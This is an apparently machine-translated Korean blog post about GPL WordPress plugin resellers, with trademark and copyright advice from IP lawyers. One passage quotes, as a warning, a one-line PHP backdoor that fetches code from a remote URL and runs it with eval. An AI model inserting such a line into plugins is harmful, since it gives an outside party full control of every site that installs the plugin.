트롤로부터 GPL WordPress 플러그인 비즈니스를 법적으로 보호하기 위한 궁극적인 가이드

소프트웨어 라이선스는 특히 오픈 소스 세계에서 매우 혼란스러운 주제가 될 수 있습니다. 합법성과 윤리의 경계가 항상 명확한 것은 아닙니다. 그러나 비즈니스 소유자가 WordPress GPL 플러그인 판매에 중점을 두었기 때문에 이러한 주제를 철저히 이해하는 것이 우리의 의무입니다.

이 게시물은 윤리를 다루지 않고 법적 고려 사항에 중점을 둘 것입니다. 플러그인 '트롤'로부터 WordPress 비즈니스를 보호하기 위해 이 분야의 경험 많은 변호사의 피드백을 포함하여 단계별 실행 가능한 공식을 제공합니다.

지난 5년 동안 플러그인 개발자로서 저는 GPL, GPL의 자유, GPL 호환 비즈니스 운영과 관련된 문제에 대해 논의하는 수많은 기사를 읽었습니다. 그러나 지난 몇 달 동안 이 주제는 나에게 훨씬 더 중요해졌습니다.

8월에는 WordPress Plugins(https://twitter.com/plugswp)라는 트위터 계정이 나를 팔로우했습니다. 습관적으로 나는 그 사용자에 대해 자세히 알아보기 위해 프로필을 확인했습니다. 나는 곧 핸들러가 "저렴한 프리미엄 WordPress 플러그인 및 테마의 1위 소스"라고 자처하는 플러그인 및 테마 '트롤'인 'wppluginscheap.com'과 연결되어 있음을 발견했습니다. 사이트를 탐색하면서 Yoast SEO, Backup Buddy, WP Robot 및 50가지 프리미엄 테마와 같은 많은 인기 있는 프리미엄 플러그인을 찾았습니다. 각 제품은 $10 미만으로 판매되었습니다.

순진했던 나는 WPChat에 뛰어들어 새로운 스레드를 시작했습니다.

우리는 일부 트롤이 나타나 GPL 플러그인/테마를 터무니없는 가격으로 재판매할 것이라는 위협을 받고 코딩을 했습니다. 음... 여기 있습니다. Yoast Premium SEO를 $4.00에 구입하는 것은 어떻습니까... 언젠가는 나타날 것이라는 것을 알았기 때문에 조금 화가 나고 한편으로는 즐겁습니다.

커뮤니티에 두 가지 질문을 했습니다.
1. 어떻게 삭제합니까?
2. 위협을 느끼십니까?

동시에 Advanced WordPress Facebook 그룹으로 이동하여 다음 상태를 업로드했습니다.

Joost de Valk와 Thomas Hofter가 플러그인을 10달러 미만으로 판매하기 시작하지 않는 한 이 사람들이 귀하의 상표(및 수십 명의 다른 플러그인 개발자)를 위반한다고 생각합니다. 어떻게 내려요?

AWP 그룹의 구성원이라면 여기에서 전체 스레드를 확인할 수 있습니다.

두 스레드 모두 많은 관심과 토론을 불러일으켰습니다. 나는 WPChat에서 17개의 답장을 받았고 AWP ​​Facebook 그룹에서 84개의 댓글을 받았습니다. 답장이 쌓이기 시작하자 두 가지 사실을 깨달았습니다.
1. WordPress 플러그인/테마 트롤은 전염병입니다. 모든 곳에서 일어나고 있습니다!

이것은 대부분 테마와 WooCommerce 애드온을 사용하지만 오랜 시간 동안 발생했습니다. gplclub.org 및 sozot.com을 참조하십시오. WPavengers.com은 폐쇄되기 전에 비슷한 일을 했습니다.

– Leland Fiegel, WPChat 설립자

2. GPL 라이선스의 모든 측면에 대한 수백 개의 블로그 게시물이 있지만 생태계에는 여전히 많은 혼란이 있습니다. 인플루언서들 사이에서도. 많은 사람들이 플러그인과 테마가 GPL에 따라 라이선스가 부여되었기 때문에 (비윤리적이긴 하지만) 기술적으로 괜찮다고 생각하는 것 같습니다.

이 기회주의자들은 이따금 나타나며 아무 것도 아닌 것처럼 보입니다. 그것은 합법적이지만(어쨌든 GPL 부분) 비윤리적입니다. 게으르다. 그리고 상품의 형태가 의심스럽고 구식이며 지원되지 않고 의심스럽기 때문에 고객에게 좋지 않습니다.

– Steven Gliebe, 테마 개발자이자 Pro Plugin Directory 설립자

비윤리적인 일이지만 제가 GPL로 발매하는 테마/플러그인샵 오너라면 그런 말을 할 수 있다면 더 비윤리적이라는 생각이 드는 완전 위선자입니다.

– Ionut Neagu, CodeinWP 설립자

Facebook에서 받은 다른 의견은 다음과 같습니다.

• 플러그인이 GPL에 따라 라이선스가 부여된 경우 아무 것도 할 수 없습니다.
• 프리미엄 버전이 GPL에 있다고 생각하지 않습니다.
• GPL에 따라 합법입니다.

그리고 훨씬 더 많은 것들이 있습니다!

시작하기 전에 한 가지 정리하겠습니다.

이것은 완전히 잘못된 것입니다!

개발자는 플러그인이 오픈 소스 라이선스에 따라 배포되더라도 여전히 집행 가능한 권한을 가집니다.
이러한 '플러그인 트롤'은 여전히 ​​상표권 침해 및/또는 저작권 침해에 대한 책임이 있습니다.

나는 그 트롤들이 사업에 아무런 해를 끼치지 않는다는 의견을 많이 읽었다고 덧붙이고 싶습니다. 그런 경우라면 이 글을 작성하는 데 그렇게 많은 시간을 할애하지 않을 것입니다. 귀하의 비즈니스와 WordPress 사용자에게 트롤이 WordPress 커뮤니티에 나쁜 이유를 설명할 기회를 갖고 싶습니다.

플러그인 트롤이 플러그인 비즈니스에 나쁜 이유는 무엇입니까?

수익 손실

좋든 싫든 많은 사용자가 이 웹사이트에서 프리미엄 플러그인을 구매하거나 얻을 것입니다. 특히 WordPress 초보자. 내가 WordPress 생태계를 처음 접하고 SEO 플러그인을 찾고 있다면 4달러의 Yoast SEO가 전체 가격보다 훨씬 매력적으로 들릴 것입니다. 그냥 사겠습니다. 내가 스마트폰이나 다른 제품을 살 때 항상 가장 좋은 할인을 찾는 것처럼. 제가 구입한 제품에 대해 보증을 사용한 적이 없기 때문에 "원래 보증"이 필요하지 않습니다. 따라서 지원은 사용자가 처음부터 염두에 두는 것이 아닙니다.

학대 지원

트롤에서 구입한 플러그인에 문제가 있는 경우 - 누가 그 책임을 지는지 맞춰보세요. 물론 실제 개발자/회사입니다. 브랜드와 관련된 아트워크가 복제되면 고객이 연락을 드릴 것입니다. Amazon에서 HTC 스마트폰을 구입한 것처럼 장치에 문제가 발생하면 Amazon이 아니라 HTC 기술 지원에 전화합니다. 사용자에게 무엇을 말하시겠습니까? "예, 저희 전화입니다. 하지만 기술 지원을 받으려면 Amazon에 문의해야 합니다." 이 응답은 사용자가 소화하기 어려울 것입니다. 귀하가 귀하의 제품 뒤에 서 있지 않은 것처럼 보일 것입니다.

트롤에서 구매한 플러그인에 문제가 있는 경우 - 누구 탓인지 맞춰보세요?Tweet

브랜드 손상

일부 트롤이 플러그인에 악성 코드를 삽입한다는 것은 의심의 여지가 없습니다. 이를 위한 주요 동기는 프리미엄 플러그인을 무료로 배포하면서 수익을 창출하는 것입니다. 나는 이것을 직접 목격했다. 2년 전, 나는 BIG UK에 기반을 둔 에이전시(직원 100명 이상)의 수석 SEO 담당자로부터 연락을 받았습니다. . 그는 플러그인에 한 줄의 간단한 코드를 추가하여 나와 파트너가 되겠다고 제안했습니다.
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

아이디어는 API 엔드포인트가 숨겨진 URL을 반환하여 포트폴리오 회사의 백링크를 푸시한다는 것이었습니다. 그가 보낸 예 중 하나는 다음과 같습니다.

<a href="”http://www.portfolio-company.com”">Great Company</a>

트롤은 원래 브랜드를 사용하는 동안 플러그인에 악성 코드를 삽입할 수 있으며 이는 브랜드에 직접적인 피해를 줍니다!Tweet

이것은 Google Penguin 이전이었고 훌륭한 SEO 해킹이었습니다. 그리고 제안은 환상적이었습니다. 도메인당 월 $0.1입니다. 따라서 내 플러그인을 사용하여 100,000개의 활성 도메인이 있는 경우 $10,000/월을 생성할 수 있습니다. 추가 시간을 들이지 않고도 수익을 올릴 수 있습니다. 대단하죠? 분명히 우리는 이 코드가 극도로 악의적이기 때문에 여러 가지 이유로 그것을 하지 않았습니다. 사이트에서 원하는 모든 작업을 수행할 수 있는 원격 백도어를 엽니다. 대행사가 SEO용으로만 사용한다고 해도 서버가 해킹당하고 나쁜 의도를 가진 사람이 제어권을 장악하면 어떻게 될까요? 얼마나 많은 합법적인 WordPress.org 플러그인이 해당 대행사와 파트너 관계를 맺었는지 누가 압니까… 트롤에게 돌아가서, 그들의 의도는 순전히 재정적입니다. 그들은 재미를 위해 프리미엄 플러그인을 홍보하는 것이 아니라 돈을 벌기를 원합니다. 그리고 그들이 저작권 및 상표권 침해와 같은 불법적인 일을 하는 경우, 코드 삽입과 같은 대체 수익원을 생성하는 것을 막을 수 있는 것은 없습니다. 아, 그리고 그런 일이 발생하면 당신이 비난받을 사람이라는 것을 언급하는 것을 잊었습니다! 그것은 당신의 제품이자 브랜드입니다.

플러그인 트롤이 사용자에게 나쁜 이유는 무엇입니까?

내가 언급한 것과 같은 이유로 여러 가지가 있지만 사용자의 관점에서 본 것입니다.

지원 없음

기술적인 문제에 직면했을 때 트롤은 당신을 도울 수 없습니다. 그것은 그들의 제품이 아니며 코드나 관련 문제를 해결하는 방법에 대한 단서가 없습니다. 게다가, 그들은 그것을 할 지원 자원이 없습니다. 그리고 원래 회사에 연락하려고 하면 프리미엄 플러그인 개발자는 고객을 추적할 수 있는 인프라를 갖추고 있습니다. 회사는 원래 라이선스를 구매할 때까지 종종 도움을 주지 않습니다.

플러그인의 불법 재배포자는 기술적인 문제로 당신을 도울 수 없고 도울 수도 없습니다.Tweet

자동 업데이트 없음

오늘날 시장에 나와 있는 대부분의 프리미엄 플러그인에는 라이선스 및 업데이트 메커니즘이 있습니다(트롤은 종종 플러그인을 재배포하기 전에 이 부분을 '해킹'합니다). 이 자동 업데이트 메커니즘이 작동하는 방식은 24시간마다 플러그인이 원래 회사의 서버를 확인하여 프리미엄 버전에 대한 업데이트가 있는지 확인하는 것입니다. 또한 라이센스 키로 인증합니다. 트롤의 플러그인은 원래 회사의 라이센스 키로 발급된 적이 없기 때문에 이 업데이트 메커니즘은 작동하지 않습니다. 따라서 원본이 아닌 프리미엄 플러그인이 설치될 때마다 자동 업데이트가 없습니다. 해커가 지속적으로 새로운 창의적인 취약점을 찾고 있고 오래된 프리미엄 플러그인이 보안 누출일 수 있기 때문에 이는 좋지 않습니다.

불법 복제된 WordPress 플러그인에는 자동화된 업데이트 메커니즘이 없습니다 – 지속적인 보안 취약성!Tweet

주요 보안 누출

위에서 언급한 악성 코드 한 줄을 기억하십니까? 사이트의 백도어를 해커에게 공개하고 싶습니까? 이 백도어는 말 그대로 해커가 사이트의 모든 픽셀과 콘텐츠를 수정할 수 있도록 합니다. 그리고 그것은 단지 하나의 예일 뿐이며, 다른 많은 창의적인 주입이 있다고 확신합니다.

오픈 소스 라이선스는 무엇을 포함합니까?

개발자 커뮤니티에서 이러한 문제에 대해 많은 혼란이 있기 때문에 저는 Lowenstein Sandler LLP의 지적 재산권(특허, 상표 및 저작권) 변호사인 제 친구 Ariel Reinitz와 그의 동료 Matthew Hintz에게 연락했습니다. 뉴욕에서 팔로알토까지 지사를 운영하는 전국적인 회사입니다.

Ariel은 WP 플러그인 '트롤'이 기술적으로 오픈 소스 라이선스(예: GPL)에 따라 코드를 재배포할 수 있지만 오픈 소스에서 다루지 않는 다른 지적 재산권('IP') 권리가 있다고 설명했습니다. 이 '트롤'이 여전히 침해하고 있는 라이선스.

Ariel이 GPL에 대해 말한 내용은 다음과 같습니다.

대부분의 WordPress 플러그인이 배포되는 오픈 소스 라이선스(GPLv2)가 다음을 포함하는지 이해하는 것이 중요합니다.

오픈 소스 라이선스는 소프트웨어/소스 코드가 배포되는 방식을 지정합니다. 일반적으로 이러한 라이선스를 통해 누구나 소프트웨어/코드를 무료로 사용, 수정 등을 할 수 있습니다. 따라서 오픈 소스 프로젝트의 소스 코드는 GPL의 조건을 위반하지 않고 다른 당사자에 의해 재배포될 수 있습니다.

간단히 말해서, GPL 자유는 누구나 소스 코드를 가져와 배포를 포함하여 원하는 모든 작업을 수행할 수 있도록 합니다. 지역사회에서 공감대가 형성되어 있다고 생각합니다.

오픈 소스 라이선스에서 다루지 않는 것은 무엇입니까?

그러나 오픈 소스 라이선스(GPLv2 포함)는 일반적으로 상표권으로 확장 되지 않습니다 . 상표는 제품(예: 플러그인, 테마, 앱 등)이 브랜드화되는 방식과 관련이 있습니다. /또는 로고. 따라서 프로젝트의 소스 코드는 오픈 소스 라이선스에 따라 자유롭게 재배포할 수 있지만 이러한 라이선스는 프로젝트와 관련된 상표(예: 제품 이름, 개발한 회사, 등.).

변호사가 아닌 경우 - GPL은 제품 이름, 회사 이름 및 로고와 같은 플러그인의 상표를 사용하는 것을 허용하지 않습니다. Ariel은 다음과 같은 예를 보여줍니다.

예를 들어, 제3자가 프로젝트의 원래 브랜딩을 모두 사용하여 WordPress 플러그인을 재배포하는 경우(예: 회사/프로젝트의 원래 이름, 로고 등으로 홍보) 이는 원래 개발자의 상표를 침해할 가능성이 있습니다. 진상. 언급한 바와 같이 오픈 소스 라이선스는 다른 사람이 상업적 맥락에서 다른 사람의 브랜드 를 사용하는 것을 허용하지 않습니다. 이는 상표법의 주요 원칙 중 하나가 제품이 어디에서 왔는지에 대한 혼동으로부터 소비자를 보호하는 것이기 때문에 중요합니다.

상표법의 주요 원칙은 비즈니스를 보호하는 것뿐만 아니라 제품이 어디에서 왔는지에 대한 혼란으로부터 소비자를 보호하는 것입니다. 중요한 메모입니다!

또한 많은 오픈 소스 회사가 상표권을 등록, 보호 및 감시한다는 사실을 인식하는 것이 중요합니다. 예: Linux , MySQL , Red Hat 및 WordPress .

Ariel이 여기서 말하는 것은 오픈 소스의 가장 큰 이름 중 다수가 상표권을 보호하고 감시한다는 것입니다. 왜 우리도 그렇게 해서는 안 되는가?

Red Hat이 상표권을 보호하고 단속할 수 있다면 플러그인 개발자는 왜 할 수 없습니까?Tweet

Ariel은 상표권 외에도 개발자가 소스 코드의 일부가 아닌 자신이 생산하는 자료에 대한 저작권 보호를 받을 자격이 있다고 지적했습니다.

GPL(및 기타 오픈 소스 라이선스)은 플러그인 자체의 소스 코드만 포함한다는 점을 인식하는 것도 중요합니다. 그러나 개발자가 소스 코드의 일부가 아닌 자료(예: 그래픽, 판촉 자료, 포장 등)를 생성하는 경우 해당 자료는 GPL에 해당하지 않으며 개발자는 다른 당사자에게 허용할 의무가 없습니다. 자료를 재배포합니다.

예를 들어, 위에서 언급한 일부 '트롤' 사이트에서 'Yoast' 플러그인이 어떻게 등장하는지 살펴보세요. 이러한 사이트는 기술적으로 Yoast의 소스 코드 (GPL에 속하므로)를 재배포할 수 있지만 이러한 사이트에는 Yoast의 브랜딩(예: 상표 인 Yoast의 이름 및 로고) 및 Yoast(예: Yoast 소스 코드의 일부가 아니므로 저작권 은 Yoast 소유이며 GPL의 적용을 받지 않는 차를 마시는 사람의 그래픽).

따라서 – 트롤은 법적으로 Yoast의 소스 코드를 재배포할 수 있지만 GPL(또는 다른 오픈 소스 라이선스) 은 (a) Yoast의 브랜딩(상표) 또는 (b) 기타 그래픽, 자료 등을 사용할 수 있는 권한을 부여하지 않습니다. ., (저작권) . 플러그인 소스 코드의 일부가 아니므로 이러한 항목은 GPL에 속하지 않으므로 이러한 항목 에 대한 지적 재산권(IP) 권한은 개발자의 단독 자산입니다 .

플러그인 '트롤'이 개발자의 상표와 저작권이 있는 자료(위의 'Yoast' 예에서와 같이)를 사용하고 있기 때문에 개발자가 이러한 권리를 집행하기 위해 사용할 수 있는 법적 절차(아래에서 자세히 살펴보겠습니다)가 있습니다. 이러한 '트롤'이 귀하의 비즈니스에 미칠 수 있는 영향을 중지하거나, 설득하거나, 최소한 제한하려고 시도하십시오. 다시 말하지만, 플러그인이 GPL에 따라 배포되더라도 마찬가지입니다.

상표로 보호되는 것은 무엇입니까?

Matthew는 상표권에 대해 다음과 같이 설명합니다.

간단히 말해서 상표는 상품이나 서비스의 출처를 다른 사람과 구별하는 소비자에게 고유한 식별자입니다. 대부분의 경우 상표는 단어, 로고 또는 이러한 요소의 조합입니다. 미국에서 상표권은 USPTO(미국 특허상표청) 등록이 아니라 상업에서의 사용("관습법 권리")과 함께 시작됩니다. 그러나 USPTO에 상표를 등록하면 소유자에게 관습법 권리를 통해 얻을 수 없는 많은 혜택이 제공됩니다. 특히, 여기에는 등록에 명시된 상품 또는 서비스와 관련하여 미국 전역에서 상표를 사용할 수 있는 등록자의 독점적 권리에 대한 증거, 등록자가 상표의 소유자라는 건설적 통지, USPTO에 등록 목록이 포함됩니다. 온라인 데이터베이스 및 기호 사용 능력. (등록 이전에는 TM 기호를 상표와 함께 사용할 수 있습니다.)

코드가 상표로 보호됩니까?

연구하는 동안 GPL 라이선스 플러그인이나 테마를 포크할 때 기능 이름의 일부로 상표권 식별자를 포함하는 기능이 없는지 확인하기 위해 코드를 리팩토링해야 한다는 몇 가지 게시물을 읽었습니다. 이를 명확히 하기 위해 저는 Matthew에게 코드도 상표권으로 보호되는지 물었습니다. 이에 대한 답변은 다음과 같습니다.

코드 자체는 상표의 보호를 받지 않습니다. 상표는 소비자가 귀하의 상품 또는 서비스와 연관시키는 단어 또는 로고를 보호합니다. 플러그인에 대한 상표 보호에 대한 제한은 플러그인을 소비자에게 마케팅하는 데 사용되는 단어 또는 로고로 제한됩니다. 그리고 상표권 침해에 대한 근본적인 테스트는 소비자가 두 상표의 유사성으로 인해 혼동을 일으킬 가능성이 있는지 여부입니다. 유사성은 시각적 및 음성적 유사성, 각 마크의 상품/서비스가 얼마나 밀접하게 관련되어 있는지, 마크가 얼마나 구별되는지, 마크가 사용된 기간 등을 살펴봄으로써 평가됩니다.

개발자 친화적인 언어로 답변을 명확히 하려면:

• 클래스 이름, 함수 이름, 변수 이름 및 상수 이름은 상표로 보호되지 않습니다.
• 반면에 페이지에 인쇄되어 최종 사용자가 볼 수 있는 문자열은 상표로 보호됩니다.

상표등록은 어떻게 하나요?

상표의 연방 등록 혜택을 받으려면 상표가 USPTO에 등록되어 있어야 합니다. 등록 신청에는 기본 정보가 포함되어야 합니다: 신청자/소유자의 이름, 마크, 마크가 사용된 상품 또는 서비스, 해당 상품 또는 서비스에 마크를 사용한 증거, 해당 마크의 최초 사용 날짜 . 애플리케이션 고려 사항:

• USPTO의 TESS(http://www.uspto.gov/trademark) 데이터베이스에서 동일하거나 유사한 상표를 검색하십시오. 동일하거나 유사한 상표가 출원되었거나 이미 등록된 경우, 이는 출원이 거부되는 근거가 될 수 있습니다. 또한 상표는 등록 없이 사용할 수 있고 등록에도 불구하고 해당 상표에 대해 우월한 권리를 가질 수 있으므로 Google 또는 기타 검색 서비스를 통해 검색하십시오. 등록은 이전 사용자의 상표권을 소진하지 않습니다.
• 상품이나 서비스를 설명하려면 USPTO의 ID 매뉴얼에서 허용되는 언어를 검색하십시오. http://tess2.uspto.gov/netahtml/tidm.html . TESS에서 허용되는 언어를 검색할 수도 있습니다.
• 클래스는 상품 또는 서비스의 특정 분야와 관련된 일반적인 표시입니다. 예를 들어 다운로드 가능한 플러그인은 일반적으로 모든 컴퓨터 프로그램과 소프트웨어를 포함하는 클래스 9에 있습니다.
• 상표출원 수수료는 클래스 수에 따라 결정됩니다. 일반 수수료는 수업당 $275이지만 더 저렴하고 더 비싼 제출 옵션을 사용할 수 있습니다.

출원이 접수된 후 USPTO는 상표가 고유 식별자인지(즉, 이전에 제출된 출원 또는 등록과 유사하거나 혼동을 일으킬 정도로 유사하지 않은지) 결정하기 위해 출원을 검토합니다. USPTO는 신청 일정을 제공합니다. http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

상표권 보호는 영토임을 명심하십시오. 예를 들어, 미국에서 등록하면 미국에서 상표 보호가 제공됩니다.

Matthew가 설명했듯이 프로세스가 반드시 복잡한 것은 아니지만 시간과 노력이 필요합니다. 중급 변호사에게 비용을 지불하는 것이 좋습니다. 작업 비용은 $200-$2,000이지만 시간을 절약하고 더 나은 응용 프로그램을 보장할 수 있습니다. 어쨌든 시작하기 전에 Google에 검색하십시오! 귀하의 정확한 용어/구문과 일치하는 제품 또는 회사(특히 동일하거나 유사한 분야에서)를 찾으면 상표를 등록할 수 없을 가능성이 높습니다(실제로 다른 사람의 ').

상표권 침해 시 어떻게 해야 하나요?

먼저 하지 말아야 할 일부터 시작하겠습니다. 저작권이 아니라 상표권 침해인 경우 DMCA 게시 중단을 제출해서는 안 됩니다.

DMCA는 저작권 침해에만 적용됩니다. 상표에는 유사한 조항이 없습니다. 상표권 주장에 DMCA 게시 중단 통지를 사용하면 주장자가 허위 진술에 대한 책임을 지게 될 수 있습니다.

일반적으로 웹사이트 소유자와 직접 문제를 해결하는 것이 가장 간단합니다. 이것이 성공적이지 않으면 웹사이트 소유자, 호스트 등에 대해 법적 조치를 취할 수 있습니다. 귀하가 취하는 구체적인 접근 방식은 사례별로 다를 수 있으며 이 시점에서 변호사에게 연락하여 귀하의 특정 상황에서 최선의 선택을 이해하는 것이 좋습니다. .

저작권으로 보호되는 것은 무엇입니까?

저작권은 상표와 다릅니다. 저작권은 어떤 표현 매체에 고정된 저작자의 원본 저작물을 보호합니다. 다만, 저작권 보호의 한계는 표현에만 국한되어 있고, 아이디어에는 해당되지 않는다는 점이다. 저작권 보호를 위한 저작물의 범주에는 문학적 저작물(도서, 코드), 음악 저작물, 사진 및 이미지, 영화, 녹음 등이 포함됩니다. 또 다른 한계는 저작권이 짧은 문구 또는 표현을 보호하지 않는다는 것입니다. 이는 상품 또는 서비스의 출처를 다른 사람과 구별하는 소비자에게 고유한 식별자로 기능하는 한 상표 보호를 위해 남아 있습니다.

귀하의 저작권이 침해되었을 때 어떻게 해야 합니까?

1. 처음에는 웹사이트 소유자에게 직접 연락하는 것이 가장 간단한 경우가 많습니다. 많은 경우에 웹사이트 소유자는 변호사 선임, 법적 소송 참여 등의 문제에 귀하보다 더 관심이 없습니다. 트위터 계정을 찾고 사이트의 이메일 또는 연락처 페이지에 연락하여 삭제를 요구하는 메시지를 보내십시오. 웹사이트에서 상표가 붙은 플러그인.
2. 도움이 되지 않으면 DMCA 게시 중단 통지(디지털 밀레니엄 저작권법)를 보낼 수 있습니다. 생성기를 만드는 데 도움이 되는 생성기가 많이 있습니다. Google에서는 "dmca takedown generator"를 검색합니다. 통지를 받으면 사이트 소유자, 호스팅 회사 및 ISP에 보내야 합니다. 선택적으로 검색 엔진에 통지를 제출하여 검색 결과에서 사이트를 제거할 수도 있습니다. 호스팅 회사를 찾으려면 whoishostingthis.com과 같은 웹사이트를 사용할 수 있습니다. ISP를 찾으려면 http://www.whoismyisp.org/와 같은 웹사이트를 사용할 수 있습니다. DMCA를 ISP/호스팅에 제출하기 위한 관련 링크를 찾으려면 ISP_NAME/HOSTING_NAME + DMCA를 검색하세요.

또는 웹사이트 소유자, 호스트 등에 대해 법적 조치를 취할 수 있습니다. 변호사에게 연락하여 이것이 귀하의 특정 상황에서 최선의 선택인지 아닌지 알아보는 것이 좋습니다.

결론

이 단계별 지침을 통해 트롤로부터 GPL 플러그인 비즈니스를 보호할 수 있는 올바른 도구를 얻을 수 있기를 바랍니다. 요약:

• 사업주로서 귀하는 자격이 있으며 회사의 브랜드와 자산을 보호해야 합니다.
• 상표 및 저작권은 플러그인 비즈니스를 법적으로 보호하는 비교적 저렴하고 효과적인 방법입니다. 따라서 회사 이름과 제품 이름에 대한 상표 등록을 적극 고려해야 합니다.
• 많은 트롤이 저작권(예: 판촉 그래픽을 제거하여)과 상표(브랜드 이름을 사용하여)를 모두 침해합니다. 고유한 브랜드 이름, 로고 및 삽화를 만들어 저작권 침해에 맞서 싸우는 데 도움이 되는 포트폴리오를 생성합니다.

많은 트롤이 저작권과 상표권을 모두 침해합니다. 고유한 브랜드 이름, 로고 및 아트워크를 생성하여 저작권 침해에 맞서 싸울 수 있는 포트폴리오를 생성합니다.Tweet

제3자 웹사이트가 귀하의 동의 없이 판매 또는 경품을 위해 귀하의 프리미엄 GPL 플러그인 또는 테마를 나열하는 경우:

• 웹사이트가 귀하의 원본 삽화 또는 기타 자료를 사용하는 경우 – 이는 저작권 침해일 수 있습니다. DMCA 게시 중단을 제출할 수 있습니다.
• 웹사이트에서 귀사 또는 제품의 상표를 사용하고 있다면 상표권 침해일 가능성이 있습니다. 웹사이트에 대해 법적 소송을 제기할 수 있습니다.

GPL의 법적 및 윤리적 의미에 대해 추가 생각이 있는 경우 아래 의견에 자유롭게 공유하십시오.

훌륭한 참고 자료:

• WP Migrate DB Pro 포크에 대한 DMCA 게시 중단 알림
• GPL 라이선스는 등록 상표를 침해할 자유를 제공하지 않습니다
• WordPress GPL이 남용되고 있습니까?
• GPL 라이선스 코드에 비용을 지불하는 이유는 무엇입니까?